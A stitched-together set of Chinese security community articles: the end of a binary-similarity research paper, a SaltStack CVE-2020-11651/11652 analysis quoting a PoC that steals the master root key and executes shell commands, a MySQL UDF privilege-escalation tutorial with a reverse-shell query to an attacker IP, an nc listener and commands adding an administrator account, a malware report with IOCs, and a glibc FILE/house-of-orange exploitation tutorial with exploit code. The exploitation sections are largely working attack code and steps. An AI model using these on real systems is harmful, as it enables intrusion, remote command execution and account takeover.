thought[6]，以及BERT，其中BERT2是指原始BERT论文中的两个task（即MLM和ANP），BERT4是指在此基础上加入两个graph-level task（BIG和GC）。第三个分块是对order-aware模块的对比实验，基础CNN模型使用3层CNN以及7、11层的Resnet，CNN_random是对训练集中控制流图的节点顺序随机打乱再进行训练，MPNN_ws是去除控制流图节点中的语义信息（所有block向量设为相同的值）再用MPNN训练。最后是本文的最终模型，即BERT+MPNN+Resnet。
表2、3：各模型在任务1和任务2上的结果
整体结果：本文提出的模型与Gemini模型相比，在任务1和任务2上的评价指标分数均大幅提升。semantic-aware模块使用NLP模型（word2vec，BERT等）均优于使用人工提取的特征。只使用order-aware时模型也取得了不错的效果。与其它所有模型相比，本文提出的模型均取得了更优的效果。
Semantic-aware：只看表中第二个分块，BERT的结果优于word2vec和skip
thought，因为BERT能在预训练过程中提取更多的信息。加上BIG和GC任务后的BERT4效果略微提升，说明在预训练过程中加入graph-level的任务有所帮助。图7中是4个控制流图的block（左上，左下，右上，右下），我们使用K-means对预训练后的block
embedding进行分类（K-means的类别数定为4），不同的类别颜色不同。从图7中可以看出，同一个控制流图中的block颜色大体相同，不同的控制流图的block的主颜色大体不同。
图7. 4个控制流图的block embedding
Order-aware：观察表中第三个分块，CNN模型在两个任务上都取得了不错的效果。Resnet11优于Resnet7和CNN3。与MPNN_ws相比，CNN效果更优。随机打乱节点顺序后，CNN模型效果大幅下降，这表示CNN模型确实可以学到节点顺序信息。图8是控制流图pair的例子，这个函数为“ZN12libfwbuilder15RuleElementRGtw13validateC-hildEPNS8FWObjectE“，左边是在gcc&x86-86上编译的控制流图，右边是在gcc&ARM上编译的控制流图。可以看到，左图的节点3在右图中被拆成节点3和节点4，除此之外其它节点的顺序与边的连接方式均相同。经过CNN模型的计算，这两个图的cosine相似度为0.971，排序rank的排名为1。这表明CNN模型可以从邻接矩阵中学到控制流图的节点顺序。
图8. 控制流图pair示例
## 结论
本文提出了一个新的模型，用于解决二进制代码分析的问题。本文的模型中包含semantic-aware模块，structural-aware模块以及order-aware模块。我们观察到语义信息和节点顺序信息都是控制流图重要的特征。我们使用BERT预训练模型提取语义信息，并使用CNN模型提取节点顺序信息。实验结果表明，本文提出的模型与之前最优的模型相比，取得了更好的效果。
## 参考文献
[1] Xu, X.; Liu, C.; Feng, Q.; Yin, H.; Song, L.; and Song, D. 2017. Neural
network-based graph embedding for crossplatform binary code similarity
detection. In Proceedings of the 2017 ACM SIGSAC Conference on Computer and
Communications Security, 363–376. ACM.
[2] Devlin, J.; Chang, M.-W.; Lee, K.; and Toutanova, K. 2018. Bert: Pre-training of deep bidirectional transformers for language understanding. arXiv
preprint arXiv:1810.04805 .
[3] Gilmer, J.; Schoenholz, S. S.; Riley, P. F.; Vinyals, O.; and Dahl, G. E.
2017. Neural message passing for quantum chemistry. In Proceedings of the 34th
International Conference on Machine Learning-Volume 70 , 1263–1272. JMLR. org.
[4] He, K.; Zhang, X.; Ren, S.; and Sun, J. 2016. Deep residual learning for
image recognition. In Proceedings of the IEEE conference on computer vision
and pattern recognition, 770–778.
[5] Mikolov, T.; Sutskever, I.; Chen, K.; Corrado, G. S.; and Dean, J. 2013.
Distributed representations of words and phrases and their compositionality.
In Advances in neural information processing systems , 3111–3119.
[6] R.; Zhu, Y.; Salakhutdinov, R. R.; Zemel, R.; Urtasun, R.; Torralba, A.;
and Fidler, S. 2015. Skip-thought vectors. In Advances in neural information
processing systems,3294–3302.
## 关于科恩实验室
腾讯科恩实验室作为腾讯集团旗下一支国际一流的信息安全团队，在桌面端安全、移动终端安全等研究领域有十多年的积累，技术实力和研究成果达到了国际领先水平；近几年来，更是在智能网联汽车信息安全、IoT
安全、云计算和虚拟化技术安全等领域取得丰硕的成果。随着更多ICT新技术进入大众视野，腾讯科恩实验室也积极布局人工智能算法和技术框架的安全研究、机器学习在信息安全研究领域的应用研究和区块链技术应用的安全研究等新纬度上的前沿技术研究能力。同时开放自身核心技术能力，提供给智能网联汽车、安卓应用生态、IoT等行业，并根据产业实际痛点和研究推出了智能网联汽车信息安全行业解决方案。护航各行业数字化变革，守护全网用户的信息安全是腾讯科恩实验室的使命。 | 社区文章 |
SaltStack是一种基于C/S架构的服务器基础架构集中管理平台，最近披露出存在两个安全漏洞 CVE-2020-11651
权限缺陷、CVE-2020-11652 任意文件读写漏洞，官方公告[SALT 3000.2 RELEASE
NOTES](https://docs.saltstack.com/en/latest/topics/releases/3000.2.html),
两个CVE漏洞可以造成远程命令执行。Ghost 使用SaltStack管理自身的机器，漏洞披露后被恶意入侵并植入挖矿程序，Ghost的安全公告
[Critical vulnerability impacting all services](https://status.ghost.org)
受影响的version
* CVE-2020-11651
* SaltStack Salt before 2019.2.4 and 3000 before 3000.2
* CVE-2020-11652
* SaltStack Salt before 2019.2.4 and 3000 before 3000.2
## 0x00 CVE-2020-11651
官方公告对其描述
The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user tokens from the salt master and/or run arbitrary commands on salt minions.
### POC
现有已公开[POC](https://github.com/dozernz/cve-2020-11651/blob/master/CVE-2020-11651.py)核心逻辑
def get_rootkey():
try:
response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2)
for i in response:
if isinstance(i,dict) and len(i) == 1:
rootkey = list(i.values())[0]
print("Retrieved root key: " + rootkey)
return rootkey
return False
except:
return False
获取对应的rootkey后续可执行恶意命令达到远程命令执行目的
def master_shell(root_key,command):
# This is achieved by using the stolen key to create a "runner" on the master node using the cmdmod module, then the cmd.exec_code function to run some python3 code that shells out.
# There is a cmd.shell function but I wasn't able to get it to accept the "cmd" kwarg parameter for some reason.
# It's also possible to use CVE-2020-11652 to get shell if the master instance is running as root by writing a crontab into a cron directory, or proably some other ways.
# This way is nicer though, and doesn't need the master to be running as root .
msg = {"key":root_key,
"cmd":"runner",
'fun': 'salt.cmd',
"kwarg":{
"fun":"cmd.exec_code",
"lang":"python3",
"code":"import subprocess;subprocess.call('{}',shell=True)".format(command)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = clear_channel.send(msg,timeout=3)
print("Got response for attempting master shell: "+str(response)+ ". Looks promising!")
return True
except:
print("something failed")
return False
poc调用salt packages 分析
clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
->
response = clear_channel.send({'cmd': '_prep_auth_info'}, timeout=2)
/salt/transport/zeromq.py
@salt.ext.tornado.gen.coroutine
def send(self, load, tries=3, timeout=60, raw=False):
'''
Send a request, return a future which will complete when we send the message
'''
if self.crypt == 'clear':
ret = yield self._uncrypted_transfer(load, tries=tries, timeout=timeout)
else:
ret = yield self._crypted_transfer(load, tries=tries, timeout=timeout, raw=raw)
raise salt.ext.tornado.gen.Return(ret)
salt.transport.client.ReqChannel.factory
最后被实例化为AsyncZeroMQReqChannel，而且带有clear参数，即发给master的命令是clear没有AES加密的
### SaltStack master端逻辑
SaltStack
逻辑非常复杂，只对涉及漏洞及其利用点的master端工作流程做简单梳理，可以结合SaltStack官方[doc](https://docs.saltstack.com/en/latest/topics/development/architecture.html#job-flow)梳理
提交任务 -> ReqServer(TCP:PORT:4506) -> MWorker -> workers.ipc -> auth -> Publisher -> EventPulisher
根据官方描述 ClearFuncs class 没有正确校验调用的method，即发生在 woker认领任务并发送publish命令处，结合POC在salt
packages的调用流程
salt/master.py
class ReqServer(salt.utils.process.SignalHandlingProcess):
def __bind(self):
启动主server及生成相应数量的woker线程
salt/master.py
class MWorker(salt.utils.process.SignalHandlingProcess):
def __bind(self):
"""
Bind to the local port
"""
# using ZMQIOLoop since we *might* need zmq in there
install_zmq()
self.io_loop = ZMQDefaultLoop()
self.io_loop.make_current()
for req_channel in self.req_channels:
req_channel.post_fork(
self._handle_payload, io_loop=self.io_loop
) # TODO: cleaner? Maybe lazily?
try:
self.io_loop.start()
except (KeyboardInterrupt, SystemExit):
# Tornado knows what to do
pass
通过_bind方法来绑定端口并接受请求，建立多进程模型
salt/master.py
req_channel.post_fork(
self._handle_payload, io_loop=self.io_loop
)
@salt.ext.tornado.gen.coroutine
def _handle_payload(self, payload):
"""
The _handle_payload method is the key method used to figure out what
needs to be done with communication to the server
Example cleartext payload generated for 'salt myminion test.ping':
{'enc': 'clear',
'load': {'arg': [],
'cmd': 'publish',
'fun': 'test.ping',
'jid': '',
'key': 'alsdkjfa.,maljf-==adflkjadflkjalkjadfadflkajdflkj',
'kwargs': {'show_jid': False, 'show_timeout': False},
'ret': '',
'tgt': 'myminion',
'tgt_type': 'glob',
'user': 'root'}}
:param dict payload: The payload route to the appropriate handler
"""
key = payload["enc"]
load = payload["load"]
ret = {"aes": self._handle_aes, "clear": self._handle_clear}[key](load)
raise salt.ext.tornado.gen.Return(ret)
通过post_fork()传入self._handler_payload 任务处理函数，在_handle_payload()方法中可以看由于poc的send
带有`'enc': 'clear' 'cmd': '_prep_auth_info'`，所以调用
def _handle_clear(self, load):
"""
Process a cleartext command
:param dict load: Cleartext payload
:return: The result of passing the load to a function in ClearFuncs corresponding to
the command specified in the load's 'cmd' key.
"""
log.trace("Clear payload received with command %s", load["cmd"])
cmd = load["cmd"]
if cmd.startswith("__"):
return False
if self.opts["master_stats"]:
start = time.time()
self.stats[cmd]["runs"] += 1
ret = getattr(self.clear_funcs, cmd)(load), {"fun": "send_clear"}
if self.opts["master_stats"]:
self._post_stats(start, cmd)
return ret
调用_prep_auth_info
def _prep_auth_info(self, clear_load):
sensitive_load_keys = []
key = None
if "token" in clear_load:
auth_type = "token"
err_name = "TokenAuthenticationError"
sensitive_load_keys = ["token"]
elif "eauth" in clear_load:
auth_type = "eauth"
err_name = "EauthAuthenticationError"
sensitive_load_keys = ["username", "password"]
else:
auth_type = "user"
err_name = "UserAuthenticationError"
key = self.key
return auth_type, err_name, key, sensitive_load_keys
返回rootkey
### 修复代码
[commit_id](https://github.com/saltstack/salt/pull/56987/commits/3fb1e4f6898ee756ab3bcd10ea374fd205f8d5d4)
method = self.clear_funcs.get_method(cmd)
'''
'enc': 'clear'
'''
class TransportMethods(object):
"""
Expose methods to the transport layer, methods with their names found in
the class attribute 'expose_methods' will be exposed to the transport layer
via 'get_method'.
"""
expose_methods = ()
def get_method(self, name):
"""
Get a method which should be exposed to the transport layer
"""
if name in self.expose_methods:
try:
return getattr(self, name)
except AttributeError:
log.error("Requested method not exposed: %s", name)
else:
log.error("Requested method not exposed: %s", name)
'''
'enc': 'aes'
'''
class AESFuncs(TransportMethods):
"""
Set up functions that are available when the load is encrypted with AES
"""
expose_methods = (
"verify_minion",
"_master_tops",
"_ext_nodes",
"_master_opts",
"_mine_get",
"_mine",
"_mine_delete",
"_mine_flush",
"_file_recv",
"_pillar",
"_minion_event",
"_handle_minion_event",
"_return",
"_syndic_return",
"_minion_runner",
"pub_ret",
"minion_pub",
"minion_publish",
"revoke_auth",
"run_func",
"_serve_file",
"_file_find",
"_file_hash",
"_file_find_and_stat",
"_file_list",
"_file_list_emptydirs",
"_dir_list",
"_symlink_list",
"_file_envs",
)
限制传入的method
## 0x01 CVE-2020-11652
官方公告对其描述
The salt-master process ClearFuncs class allows access to some methods that improperly sanitize paths. These methods allow arbitrary directory access to authenticated users.
### POC
SaltStack Test类
def test_clearfuncs_config(self):
clear_channel = salt.transport.client.ReqChannel.factory(
self.minion_config, crypt="clear"
)
msg = {
"key": self.key,
"cmd": "wheel",
"fun": "config.update_config",
"file_name": "../evil",
"yaml_contents": "win",
}
ret = clear_channel.send(msg, timeout=5)
assert not os.path.exists(
os.path.join(self.conf_dir, "evil.conf")
), "Wrote file via directory traversal"
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.write',
'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
'data': 'evil',
}
ret = clear_channel.send(msg, timeout=5)
### 缺陷代码
salt/wheel/file_roots.py
def write(data, path, saltenv="base", index=0):
"""
Write the named file, by default the first file found is written, but the
index of the file can be specified to write to a lower priority file root
"""
if saltenv not in __opts__["file_roots"]:
return "Named environment {0} is not present".format(saltenv)
if len(__opts__["file_roots"][saltenv]) <= index:
return "Specified index {0} in environment {1} is not present".format(
index, saltenv
)
if os.path.isabs(path):
return (
"The path passed in {0} is not relative to the environment " "{1}"
).format(path, saltenv)
dest = os.path.join(__opts__["file_roots"][saltenv][index], path)
使用os.path.isabs 判断是否是绝对路径，防止任意路径写入，但是被../绕过
### 修复代码
[commit_id](https://github.com/saltstack/salt/pull/56987/commits/0491a84361098a2862005cef8d0f6c9dd1e3bb73)
新增校验函数
salt/utils/verify.py
def _realpath(path):
"""
Cross platform realpath method. On Windows when python 3, this method
uses the os.readlink method to resolve any filesystem links. On Windows
when python 2, this method is a no-op. All other platforms and version use
os.path.realpath
"""
if salt.utils.platform.is_darwin():
return _realpath_darwin(path)
elif salt.utils.platform.is_windows():
if salt.ext.six.PY3:
return _realpath_windows(path)
else:
return path
return os.path.realpath(path)
def _realpath_darwin(path):
base = ""
for part in path.split(os.path.sep)[1:]:
if base != "":
if os.path.islink(os.path.sep.join([base, part])):
base = os.readlink(os.path.sep.join([base, part]))
else:
base = os.path.abspath(os.path.sep.join([base, part]))
else:
base = os.path.abspath(os.path.sep.join([base, part]))
return base
## 0x02 Other-salt packages安装issue
mac `python3 -m pip install salt`会报错
ext-date-lib/timelib_structs.h:24:10: fatal error: 'timelib_config.h' file not found
#include "timelib_config.h"
^~~~~~~~~~~~~~~~~~
1 error generated.
error: command 'clang' failed with exit status 1
* `python3 -m pip download timelib`
* 修改timelib的setup.py文件
setup(name="timelib",
version="0.2.4",
description="parse english textual date descriptions",
author="Ralf Schmitt",
author_email="[email protected]",
url="https://github.com/pediapress/timelib/",
ext_modules=[Extension("timelib", sources=sources,
libraries=libraries,
include_dirs=[".", "ext-date-lib"],
define_macros=[("HAVE_STRING_H", 1)])],
include_dirs=[".", "ext-date-lib"],
long_description=open("README.rst").read(),
license="zlib/php",
**extra)
* `python3 setup.py build`
* `python3 setup.py install`
## 0x03 参考
* [github_poc-CVE-2020-11651](https://github.com/dozernz/cve-2020-11651/blob/master/CVE-2020-11651.py)
* 官方公告[SALT 3000.2 RELEASE NOTES](https://docs.saltstack.com/en/latest/topics/releases/3000.2.html)
* SaltStack官方[doc](https://docs.saltstack.com/en/latest/topics/development/architecture.html#job-flow)
* [timelib_Unable to install on OSX](https://github.com/pediapress/timelib/issues/6) | 社区文章 |
Mysql数据库反弹端口连接提权
在渗透或者安全评估时，有可能遇到一些比较奇葩的环境，即使通过Mysql
root账号和密码获取了webshell，由于无法执行命令，在一般的情况下，也就放弃了，但其实可以换一种思路，通过mysql查询来直接提权，可以针对以下场景：
（1）通过网站无法获取webshell
（2）Webshell无法执行命令
（3）有phpmyadmin和root账号，无法查询或者无法获取网站的真实路径
1.1反弹端口连接提权的条件
1.访问Mysql数据库
获取了数据库root账号和密码或者相当于root权限的账号和密码，同时能够执行查询命令。换句话说可以通过phpmyadmin连接、通过网站后台的执行数据库命令或者“Navicat
for MySQL”等客户端软件连接。
2.可导出文件udf.dll到系统目录或者Mysql数据库安装目录下的lib下的plugin目录。如果有上传条件，可以直接上传udf.dll到对应目录。Mysql5.1以下版本到c:\winnt\system32或者c:\windows\system32目录，Mysql5.1以上版本到Mysql安装目录下的plugin
目录，例如D:\ComsenzEXP\MySQL\lib\plugin。
3.授权mysql数据库远程用户登录
可以修改host为%，更新权限，然后通过Navicat for MySQL连接数据库，直接打开命令提示窗口进行导出。
允许远程用户登录访问mysql的方法，需要手动增加可以远程访问数据库的用户。
方法一：本地登入mysql，更改 "mysql" 数据库里的 "user" 表里的 "host" 项，将"localhost"改为"%"
use mysql;
update user set host = '%' where user = 'root';
FLUSH PRIVILEGES ;
方法二：直接授权
从任何主机上使用root用户，密码：youpassword（你的root密码）连接到mysql服务器：
GRANT ALL PRIVILEGES ON _._ TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH
GRANT OPTION;
FLUSH PRIVILEGES;
1.2具体实现方法
1.连接mysql服务器
（1）通过mysql客户端工具可以直接连接
（2）通过phpmyadmin进行连接
（3）通过mysql.exe直接连接
2.执行查询命令
（1）网上提供的“. c:\mysql.txt”命令会出错，最好通过phpmyadmin或者Navicat for
MySQL等工具来进行查询。修改mysql.txt中的最后一行代码“select
backshell("YourIP",4444);”为自己反弹的IP和反弹监听的端口。
（2）本地开启监听反弹的端口
nc.exe -vv -l -p 4444
（3）执行mysql查询，将mysql.txt文件内容复制到查询中执行。
成功后，你将获得一个system权限的cmdshell。
3.添加用户或者获取管理员密码
通过反弹shell添加用户antian365，密码www.antian365.com
net user antian365 www.antian365.com /add
net localgroup administrators antian365
1.3一个提权实例
1.在反弹监听服务器上进行端口监听
通过cmd命令提示符，执行nc监听命令：nc –vv –l –p
4444，表示在本地监听4444端口。如果是在公网上，这反弹监听服务器必须有独立IP，如果是内部网络，则可以直接使用内网IP，如图1所示。
图1进行监听
2.修改mysql.txt文件中反弹地址
在mysql.txt文件中将最后一行代码修改为前面设置的监听IP地址和端口，如图2所示，例如代码：
select backshell("192.168.40.135",4444);//反弹监听服务器IP192.168.40.135，端口4444
图2修改查询代码中反弹shell地址和端口
这个也可以再次单独查询：select backshell("192.168.40.135",4444);
3.执行查询
可以通过mysql命令行下执行，也可以通过phpmyadmin查询窗口以及一些mysql客户端查询进行，如图3所示执行查询。
图3执行mysql查询
说明：
（1）如果已经存在ghost表和backshell函数，可以执行以下命令进行删除：
drop table ghost;
drop FUNCTION backshell;
（2）如果已经存在udf.dll，则可以跳过导出命令，执行：
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
3.查看反弹结果
如图4所示，显示通过连接mysql执行查询获取的终端反弹shell，在该shell下可以直接执行net user、whoami等命令查看当前权限。
图4查看反弹结果
1.4防范方法
1.查看mysql数据库中user表授权的登录host，禁止具备Root账号权限的用户通过“%”进行登录。
2.禁止在网站CMS系统使用root账号进行配置。
3.设置root账号的密码为强密码。
4.对Mysql执行程序进行降权，禁止网站用户读取user.frm、user.myd、user.myi。例如D:\ComsenzEXP\MySQL\data\mysql下的user表文件user.frm、user.myd、user.myi要禁止网站用户读取和下载。
5.检查mysql数据库下的mysql表中是否存在其它无关表，检查func表中的内容。
6.可以在相应的目录下建立一个udf.dll空文件，并严格设置权限，任何人无读取和写入权限。
文中提及的mysql.txt以及udf见附件。 | 社区文章 |
# 仿软件、劫网站、插广告、窃隐私，还有什么是他不敢干的？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 情况概述
近期，360政企安全接到大量用户反馈，在访问网站时被强行插入广告，且部分无法关闭。经分析发现，是一些浏览器恶意扩展在正常访问的网站中强插广告导致，进一步溯源发现，这些浏览器扩展来源主要是搜索推广的恶意下载器软件携带安装的。
对这些下载器分析，我们发现恶意下载器仿冒了超过3500款软件，涵盖办公、行业、设计、媒体等常见类型，其在启动后会静默向浏览器安装恶意扩展，该扩展通过云控在用户访问的其它网站中插入广告、劫持电商、导航、私服等超过6000个网站，此外扩展还会收集用户的上网数据甚至会收集用户在360论坛、QQ电脑管家论坛的发贴反馈情况；所有劫持规则均通过云端下发并使用AES、DES进行加密。
## 样本分析
### 木马来源
下面以其中一个“Microsoft Office Word 2010破解版@377.exe”为例进行分析：
仿冒Word恶意下载器页面
首先，下载页面会判断Referer是否来自于搜索引擎以及地区等信息后才会返回木马下载器的下载链接，并且几乎每次请求到的木马下载器的Hash值都不一样，猜测是以此来躲避一些自动抓取和自动分析工具。
恶意页面根据条件判断实时生程的下载链接
木马下载器被下载到本地执行后，界面如下图所示：
木马下载器界面
而如果分析人员直接访问该页面，则会返回普通的下载器的下载链接：
直接访问恶意页面得到的普通程序
我们通过脚本提取到被该木马伪装的其它软件，发现有超过3500款，涉及到的办公类软件超过40款
被伪造的安装包名称关键词
上面提到涉及到的超过40款办公类软件如下:
被伪造的办公软件安装包信息
### 代码分析
**一、 检测环境，大量推装软件、木马，篡改浏览器首页**
木马一旦开始运行，会首先通过远程链接获取后续工作所需的配置文件
通过链接获取后续行为配置文件
获取到配置文件后，会先根据其中内容检测杀软、常用抓包工具、ARK工具，甚至还会检测远程桌面、远程协助等工具。
配置文件中获取到的安全分析工具进程名
检测当前系统环境后，会从配置文件中解出需要推广的程序下载链接列表。这些程序中除一般意义上的推广程序外，也会带有一些其他木马程序。
配置文件中解出的推广链接
此外，木马还会篡改浏览器首页。篡改的地址为从云控配置中解密出的这些链接中选择其一。
配置文件中修改主页的链接列表
**二、 安装扩展，劫持网站，窃取隐私**
木马在完成上述工作后，会连接云端静默安装恶意浏览器扩展文件，劫持导航、电商、私服等网站、收集用户上网数据甚至会收集用户去安全软件论坛的反馈信息，通过云控配置会随机化扩展的名称、版本号等信息以对抗杀软的清理。
木马在完成上述工作后，会连接云端获取到大量恶意浏览器扩展文件进行静默安装。
大量恶意浏览器扩展
被安装的扩展代码进行了大量混淆，用于劫持的关键代码均从云端实时获取且进行了多层的加密，甚至每一层加密都使用不同的加密密钥：
DES算法加密后的云控劫持规则
解密出其中一个云控的劫持规则会劫持多个导航及搜索页面
劫持导航及搜索页
此外，我们还发现了劫持电商网站的部分代码：
电商页面劫持代码
不同版本的劫持规则会略有差异，下图为另一个版本解密出的劫持规则代码
搜索页面结持代码
电信充值页面劫持代码
在劫持页面的同时，这些浏览器扩展还会尝试模拟鼠标点击导航页面，以次增加点击量赚取更多佣金。
模拟鼠标点击导航页面
更有甚者，代码还收集了用户在360论坛、QQ电脑管家论坛中发贴情况，以及在VirSCAN.org网站提交样本扫描的文件信息。猜测是收集用户去这两个论坛反馈木马问题以及是否将其木马文件提交检测。
监控对安全论坛及多引擎扫描网站的访问情况
回传360、QQ管家等论坛的发帖标题
回传VirSCAN扫描的样本信息
同样的，木马还会将用户在浏览器地址栏中输入的URL地址回传到自身服务器。
回传浏览器地址烂中的URL
还有一个版本的扩展会通过云控判断地区，并在特定地区用户的正常访问页面中插入一个300×300的浮动广告。
向页面中插入浮动广告
## 安全提示
安装有360的用户无需担心，360可轻松拦截此类木马供给。
## 安全建议
360安全大脑建议广大用户： 1、 尽量选择官网等正规渠道安装软件，以免自己的电脑成为不法分子控制劫持的工具。 2、
如发现浏览器被插入恶意广告，访问正常网站出现自动跳转到带计费链接的网站时尽快使用安全软件进行查杀。 3、 开启浏览器中 “自动停用来源不明的扩展”功能。
## IOCs（部分）
### HASH
844731eee1196d014169fb756ef7863e950e5ea0a8e80d154b1afe96d8b1829a
### URLs
* [http://pl.khl666[.]com/dxtw/kblr.htm](http://pl.khl666%5B.%5Dcom/dxtw/kblr.htm)?
* [http://dl.khl666[.]com/kz/bd11122117/NA3GVPU1Ax](http://dl.khl666%5B.%5Dcom/kz/bd11122117/NA3GVPU1Ax) .cfg
* [http://pz.antsysht[.]com/config](http://pz.antsysht%5B.%5Dcom/config)
* [https://mmq.nuobeiliao[.]com/ext/logo-a.png?_=1616491499123](https://mmq.nuobeiliao%5B.%5Dcom/ext/logo-a.png?_=1616491499123)
### CRX IDs
* cgolhhnfballfndeflinfanccpjikdmi
* ankenbdhlppgkfmabdmbfdokacfpnhea
* eopeikmffmlmgleomnimojfpigfjpjab
* kaahkldkddbnidfalodnlbdlbcmkbkfj
* ljljknaclekggpkbbjpbhjacgcngfcgp
* gabccfgplagmjhahelcodjflcpaadldk
* hcppkcennmjaafoffcpjnmpepepcklbg
* kkjjdgmjadhdlcpebcjfppmefkmhjbio
* egnlheliebooaeheaoabldecpmcneehp
* bbpabafaggklfannggfocipmnogbojam
* gadhochknhbcnklhdohlmdeidlfogbad
* comfmchjneommdoncjhagbkidolibgil
* hhkjfpeknmpgghnoojenpkjhginoomjp
* hkoopbbimnmoelagpjeoamgahnccmggc
* kkpidjggcleolfljongchppheeoibeca
* mjegnnlmmolelplmadidfccgbhokmhpo
* lehjanbmddecbhgnnncapflmglinppcj
* figbiejimdgnhdefdigjmcgfbhppcmlh
* jjmnodmnjioloohkajephjnljefnpofk
* npdmbbiopnooephgmjlebjgkkhljambm
* anamdmjnllfgnoamcnlafmhemfcppbbc | 社区文章 |
### 前言
利用 `FILE` 结构体进行攻击，在现在的 `ctf` 比赛中也经常出现，最近的 `hitcon2017` 又提出了一种新的方式。本文对该攻击进行总结。
### 正文
首先来一张 `_IO_FILE` 结构体的结构
`_IO_FILE_plus` 等价于 `_IO_FILE` \+ `vtable`
调试着来看看(64 位)
`vtable` 指向的位置是一组函数指针
**利用`vtable` 进行攻击**
通过一个 `uaf` 的示例代码来演示
#include <stdio.h>
#include <stdlib.h>
void pwn(void)
{
system("sh");
}
// 用于伪造 vtable
void * funcs[] = {
NULL, // "extra word"
NULL, // DUMMY
exit, // finish
NULL, // overflow
NULL, // underflow
NULL, // uflow
NULL, // pbackfail
NULL, // xsputn
NULL, // xsgetn
NULL, // seekoff
NULL, // seekpos
NULL, // setbuf
NULL, // sync
NULL, // doallocate
NULL, // read
NULL, // write
NULL, // seek
pwn, // close
NULL, // stat
NULL, // showmanyc
NULL, // imbue
};
int main(int argc, char * argv[])
{
FILE *fp; // _IO_FILE 结构体
unsigned char *str;
printf("sizeof(FILE): 0x%x\n", sizeof(FILE));
/* _IO_FILE + vtable_ptr 分配一个 _IO_FILE_plus 结构体 */
str = malloc(sizeof(FILE) + sizeof(void *));
printf("freeing %p\n", str);
free(str);
/*打开一个文件，会分配一个 _IO_FILE_plus 结构体 ， 会使用刚刚 free 掉的内存*/
if (!(fp = fopen("/dev/null", "r"))) {
perror("fopen");
return 1;
}
printf("FILE got %p\n", fp);
/* 取得地址 */
printf("_IO_jump_t @ %p is 0x%08lx\n",
str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* 修改 vtable 指针 */
*(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
printf("_IO_jump_t @ %p now 0x%08lx\n",
str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* 调用 fclose 触发 close */
fclose(fp);
return 0;
}
* 首先分配一个 `_IO_FILE_plus` 大小的内存块
* 然后释放掉调用 `fopen` 分配 `_IO_FILE_plus` 结构体
* 修改 `fp` 的 `vtable` 指针到我们布局的地址
* 调用 `fclose` 函数, 进而调用 `pwn`
调试可以看到，分配的大小为 `0xf0`(也就是 `0xe0+0x10`) 和`_IO_FILE_plus` 的大小是一样的
`free` 掉后，调用 `fopen` 会占用这个内存
查看 `vtable` 也是符合预期
替换`vtable`指针之后
`close` 函数已经被修改为 `pwn` 函数，最后调用 `fclose` 函数，就会调用 `pwn` 函数
**house of orange**
为了便于调试，使用
[how2heap](https://raw.githubusercontent.com/shellphish/how2heap/master/house_of_orange.c)
的代码进行调试分析。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
// 首先分配一个 0x400 的 chunk
p1 = malloc(0x400-16);
// 拿到 top chunk的地址
top = (size_t *) ( (char *) p1 + 0x400 - 16);
// 修改 top chunk 的 size
top[1] = 0xc01;
// 触发 syscall 的 _int_free, top_chunk 放到了 unsort bin
p2 = malloc(0x1000);
// 根据 fd 指针的偏移计算 io_list_all 的地址
io_list_all = top[2] + 0x9a8;
// 修改 top_chunk 的 bk 为 io_list_all - 0x10 ， 后面会触发
top[3] = io_list_all - 0x10;
/*
设置 fp 指针指向位置 开头 为 /bin/sh
*/
memcpy( ( char *) top, "/bin/sh\x00", 8);
// 修改 top chunk 的 大小 为 0x60
top[1] = 0x61;
/*
为了可以正常调用 overflow() ，需要满足一些条件
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
*/
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;
// 设置虚表
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
// 再次 malloc, fastbin, smallbin都找不到需要的大小，会遍历 unsort bin 把它们添加到对应的 bins 中去
// 之前已经把 top->bk 设置为 io_list_all - 0x10, 所以会把 io_list_all 的值 设置为 fd,
// 也就是 main_arena+88
// _IO_FILE_plus + 0x68 --> _china , main_arena+88 + 0x68 为 smallbin[5], 块大小为 0x60
// 所以要把 top的 size 设置为 0x60
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}
代码的流程如下:
* 首先分配 `0x400` 字节的块
* 修改 `top chunk` 的 `size` 域为 `0xc01`
* `malloc(0x1000)` 触发 `_int_free` , `top` 被放到了 `unsorted bin` , 下面称它为 `old_top`
* 布局 `old_top` , 设置 `bk = io_list_all - 0x10` ， 把`old_top`伪造成一个 `_IO_FILE_plus`,并设置好`vtable`
* `malloc(10)` 由于此时 `fastbin` , `smallbin` 均为空，所以会进入遍历 `unsorted bin` ，并根据相应的大小放到对应的 `bin` 中。上一步设置 `old_top` 大小为 `0x60` ， 所以在放置`old_top` 过程中，先通过 `unsorted bin attack` 修改 `io_list_all` 为 `fd也就是 main_arena->top` ， 然后 `old_top` 会被链到 `smallbin[5]` （大小为 0x60 ）, 接着继续遍历 `unsorted bin`，这一步 会 `abort`,原理下面说， 然后会遍历 `io_list_all` 调用 `_IO_OVERFLOW (fp, EOF)`. 伪造 `vtable` getshell。
**下面调试分析之**
参考断点：
break main
bp genops.c:775
bp malloc.c:3472
调试到
23 p2 = malloc(0x1000);
`top chunk` 的 `size` 已经被修改，`unsorted bin` 还是空的。
单步步过，发现 `top` 已经被 添加到 `unsorted bin`
然后就是一系列的伪造 `_IO_FILE_plus` 操作， 直接运行到
62 malloc(10);
看看布局好后的结果
`vtable`
